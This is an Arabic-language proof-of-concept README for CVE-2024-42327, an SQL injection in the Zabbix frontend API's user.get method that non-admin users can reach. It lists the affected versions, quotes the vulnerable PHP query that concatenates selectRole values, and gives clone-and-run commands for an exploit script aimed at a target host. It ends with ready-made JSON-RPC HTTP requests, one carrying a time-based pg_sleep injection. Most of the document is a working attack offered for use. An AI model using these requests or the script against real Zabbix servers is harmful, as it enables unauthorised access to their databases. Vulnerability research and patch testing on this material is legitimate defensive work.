
إثبات مفهوم لاستغلال CVE-2024-42327، وهي ثغرة حقن SQL في واجهة Zabbix الأمامية (API) تسمح للمستخدمين غير المسؤولين بتنفيذ استعلامات SQL عشوائية عبر طريقة user.get.
يمكن لحساب مستخدم غير مسؤول في واجهة Zabbix الأمامية مع دور المستخدم الافتراضي، أو أي دور آخر يمنح وصولاً إلى API، استغلال هذه الثغرة الأمنية. توجد ثغرة SQLi في فئة CUser في الدالة addRelatedObjects، ويتم استدعاء هذه الدالة من الدالة CUser.get المتاحة لكل مستخدم لديه وصول إلى API.

الإصدارات المعرضة للخطر: 6.0.0 - 6.0.31, 6.4.0 - 6.4.16, 7.0.0
الإصدارات المُصلحة: 6.0.32rc1, 6.4.17rc1, 7.0.1rc1
$db_roles = DBselect(
'SELECT u.userid'.($options['selectRole'] ? ',r.'.implode(',r.', $options['selectRole']) : '').
' FROM users u,role r'.
' WHERE u.roleid=r.roleid'.
' AND '.dbConditionInt('u.userid', $userIds)
);
استخدام الاستغلال:
git clone https://github.com/depers-rus/CVE-2024-42327
python3 cve-2024-42327-PoC.py -t zabbix.xyz.ru -u "depers" -p "passwd"
الطلب:
POST /api_jsonrpc.php HTTP/1.1
Host: zabbix.xyz.ru
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 186
Content-Type: application/json
{"jsonrpc": "2.0", "method":"user.get", "params": {"selectRole": ["roleid,{SQLi payload}"
], "userids": ["10"
]}, "auth": "---auth_token---", "id": 1}
BurpSuite PoC (حقن SQL زمني)
SELECT pg_sleep(10)) AS DELAY
POST /api_jsonrpc.php HTTP/1.1
Host: zabbix.xyz.ru
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 186
Content-Type: application/json
{"jsonrpc": "2.0", "method":"user.get", "params": {"selectRole": ["roleid,(SELECT pg_sleep(10)) AS DELAY"
], "userids": ["10"
]}, "auth": "---auth_token---", "id": 1}
